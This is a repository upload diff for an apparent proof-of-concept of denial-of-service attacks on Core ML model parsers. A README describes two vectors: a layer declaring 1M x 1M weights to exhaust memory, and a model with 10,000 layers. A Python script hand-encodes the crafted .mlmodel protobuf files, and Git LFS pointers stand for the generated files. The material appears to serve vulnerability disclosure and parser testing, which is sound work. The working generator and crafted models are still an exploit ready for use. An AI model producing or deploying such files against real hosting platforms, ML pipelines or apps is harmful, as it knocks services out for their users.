Upload folder using huggingface_hub
Browse files- README.md +37 -0
- benign.mlmodel +3 -0
- generate_pocs.py +99 -0
- poc_many_layers.mlmodel +3 -0
- poc_oom_weights.mlmodel +3 -0
README.md
ADDED
|
@@ -0,0 +1,37 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Core ML Model DoS PoC
|
| 2 |
+
|
| 3 |
+
Proof-of-concept Core ML model files (`.mlmodel`) demonstrating denial-of-service vectors in protobuf-based model parsers.
|
| 4 |
+
|
| 5 |
+
Core ML models use Protocol Buffers format as defined by Apple's [coremltools](https://github.com/apple/coremltools) specification.
|
| 6 |
+
|
| 7 |
+
## Files
|
| 8 |
+
|
| 9 |
+
| File | Size | Vector |
|
| 10 |
+
|------|------|--------|
|
| 11 |
+
| `poc_oom_weights.mlmodel` | ~43 B | OOM via huge tensor shape declaration (innerProduct: 1M x 1M = ~4TB if allocated) |
|
| 12 |
+
| `poc_many_layers.mlmodel` | ~321 KB | 10,000 neural network layers causing parser overhead and memory pressure |
|
| 13 |
+
| `benign.mlmodel` | ~56 B | Minimal valid model for baseline comparison |
|
| 14 |
+
| `generate_pocs.py` | - | Generator script for reproducibility |
|
| 15 |
+
|
| 16 |
+
## Attack Vectors
|
| 17 |
+
|
| 18 |
+
### 1. OOM via Huge Tensor Shapes (`poc_oom_weights.mlmodel`)
|
| 19 |
+
|
| 20 |
+
A crafted protobuf declares a neural network `innerProduct` layer with `inputChannels=1000000` and `outputChannels=1000000`. If a parser naively pre-allocates the weight matrix, this requires 10^12 float32 values (~4 TB of memory), causing an out-of-memory condition.
|
| 21 |
+
|
| 22 |
+
### 2. Many Layers Parsing Overhead (`poc_many_layers.mlmodel`)
|
| 23 |
+
|
| 24 |
+
A neural network spec containing 10,000 activation layers. Parsers that build full graph representations or validate layer connectivity may experience significant overhead or memory pressure when processing this many layers.
|
| 25 |
+
|
| 26 |
+
## Reproduction
|
| 27 |
+
|
| 28 |
+
```bash
|
| 29 |
+
python generate_pocs.py
|
| 30 |
+
```
|
| 31 |
+
|
| 32 |
+
Then load the generated `.mlmodel` files with any Core ML parser (e.g., `coremltools.utils.load_spec()`).
|
| 33 |
+
|
| 34 |
+
## Impact
|
| 35 |
+
|
| 36 |
+
- Denial of service in any application that loads untrusted `.mlmodel` files
|
| 37 |
+
- Applicable to model hosting platforms, ML pipelines, and iOS/macOS apps accepting user-provided models
|
benign.mlmodel
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:9fc30358165ba6bccb5933a37fcd56f94776bee2067cb68c82cfa3beaafd3416
|
| 3 |
+
size 56
|
generate_pocs.py
ADDED
|
@@ -0,0 +1,99 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""Generate Core ML model PoC files for DoS testing."""
|
| 3 |
+
|
| 4 |
+
import os
|
| 5 |
+
|
| 6 |
+
def encode_varint(value):
|
| 7 |
+
result = bytearray()
|
| 8 |
+
while value > 0x7f:
|
| 9 |
+
result.append((value & 0x7f) | 0x80)
|
| 10 |
+
value >>= 7
|
| 11 |
+
result.append(value & 0x7f)
|
| 12 |
+
return bytes(result)
|
| 13 |
+
|
| 14 |
+
def encode_field(field_num, wire_type, data):
|
| 15 |
+
tag = encode_varint((field_num << 3) | wire_type)
|
| 16 |
+
if wire_type == 0: # varint
|
| 17 |
+
return tag + encode_varint(data)
|
| 18 |
+
elif wire_type == 2: # length-delimited
|
| 19 |
+
return tag + encode_varint(len(data)) + data
|
| 20 |
+
|
| 21 |
+
DIR = os.path.dirname(os.path.abspath(__file__))
|
| 22 |
+
|
| 23 |
+
# ---- 1. poc_oom_weights.mlmodel ----
|
| 24 |
+
# Core ML Model protobuf with neural network layer claiming enormous weight dimensions
|
| 25 |
+
# innerProduct with inputChannels=1000000, outputChannels=1000000
|
| 26 |
+
# Would require 1e12 float32 values = ~4TB if allocated
|
| 27 |
+
|
| 28 |
+
spec_ver = encode_field(1, 0, 4) # specificationVersion = 4
|
| 29 |
+
|
| 30 |
+
# innerProduct params: field 1 = inputChannels, field 2 = outputChannels
|
| 31 |
+
inner = encode_field(1, 0, 1000000) + encode_field(2, 0, 1000000)
|
| 32 |
+
layer_params = encode_field(5, 2, inner) # innerProduct = field 5 in NeuralNetworkLayer
|
| 33 |
+
layer_name = encode_field(1, 2, b'evil_layer')
|
| 34 |
+
# input/output names
|
| 35 |
+
layer_input = encode_field(2, 2, b'input')
|
| 36 |
+
layer_output = encode_field(3, 2, b'output')
|
| 37 |
+
layer = layer_name + layer_input + layer_output + layer_params
|
| 38 |
+
nn_layer = encode_field(1, 2, layer) # layers = field 1 in NeuralNetwork
|
| 39 |
+
neural_net = encode_field(7, 2, nn_layer) # neuralNetwork = field 7 in Model
|
| 40 |
+
|
| 41 |
+
model_data = spec_ver + neural_net
|
| 42 |
+
path = os.path.join(DIR, 'poc_oom_weights.mlmodel')
|
| 43 |
+
with open(path, 'wb') as f:
|
| 44 |
+
f.write(model_data)
|
| 45 |
+
print(f"Created {path} ({len(model_data)} bytes)")
|
| 46 |
+
|
| 47 |
+
# ---- 2. poc_many_layers.mlmodel ----
|
| 48 |
+
# Neural network with 10000 layers to cause parsing overhead
|
| 49 |
+
|
| 50 |
+
spec_ver = encode_field(1, 0, 4)
|
| 51 |
+
|
| 52 |
+
layers_data = b''
|
| 53 |
+
for i in range(10000):
|
| 54 |
+
name = f'layer_{i}'.encode()
|
| 55 |
+
ln = encode_field(1, 2, name)
|
| 56 |
+
li = encode_field(2, 2, b'input')
|
| 57 |
+
lo = encode_field(3, 2, b'output')
|
| 58 |
+
# activation layer (field 6) with ReLU (field 1 = linear with default)
|
| 59 |
+
activation_params = encode_field(1, 2, b'') # linear activation
|
| 60 |
+
lp = encode_field(6, 2, activation_params)
|
| 61 |
+
layer = ln + li + lo + lp
|
| 62 |
+
layers_data += encode_field(1, 2, layer)
|
| 63 |
+
|
| 64 |
+
neural_net = encode_field(7, 2, layers_data)
|
| 65 |
+
model_data = spec_ver + neural_net
|
| 66 |
+
path = os.path.join(DIR, 'poc_many_layers.mlmodel')
|
| 67 |
+
with open(path, 'wb') as f:
|
| 68 |
+
f.write(model_data)
|
| 69 |
+
print(f"Created {path} ({len(model_data)} bytes)")
|
| 70 |
+
|
| 71 |
+
# ---- 3. benign.mlmodel ----
|
| 72 |
+
# Minimal valid Core ML model
|
| 73 |
+
|
| 74 |
+
spec_ver = encode_field(1, 0, 4)
|
| 75 |
+
|
| 76 |
+
# description with empty input/output
|
| 77 |
+
desc_input_name = encode_field(1, 2, b'input')
|
| 78 |
+
desc_input_type = encode_field(1, 2, desc_input_name)
|
| 79 |
+
desc_output_name = encode_field(1, 2, b'output')
|
| 80 |
+
desc_output_type = encode_field(2, 2, desc_output_name)
|
| 81 |
+
description = encode_field(2, 2, desc_input_type + desc_output_type)
|
| 82 |
+
|
| 83 |
+
# simple neural network with one identity-like layer
|
| 84 |
+
layer_name = encode_field(1, 2, b'id_layer')
|
| 85 |
+
layer_input = encode_field(2, 2, b'input')
|
| 86 |
+
layer_output = encode_field(3, 2, b'output')
|
| 87 |
+
activation_params = encode_field(1, 2, b'') # linear
|
| 88 |
+
layer_param = encode_field(6, 2, activation_params)
|
| 89 |
+
layer = layer_name + layer_input + layer_output + layer_param
|
| 90 |
+
nn_layer = encode_field(1, 2, layer)
|
| 91 |
+
neural_net = encode_field(7, 2, nn_layer)
|
| 92 |
+
|
| 93 |
+
model_data = spec_ver + description + neural_net
|
| 94 |
+
path = os.path.join(DIR, 'benign.mlmodel')
|
| 95 |
+
with open(path, 'wb') as f:
|
| 96 |
+
f.write(model_data)
|
| 97 |
+
print(f"Created {path} ({len(model_data)} bytes)")
|
| 98 |
+
|
| 99 |
+
print("\nAll PoC files generated.")
|
poc_many_layers.mlmodel
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:d34ce86c59fe2d6093a74c164f09956c5749dd403ffd3bd700fefb354a4398d5
|
| 3 |
+
size 328896
|
poc_oom_weights.mlmodel
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:10d763911598cd2ecf78aae79c6f3e2d7eb4181bcafe7102316c9ed49e964ff9
|
| 3 |
+
size 43
|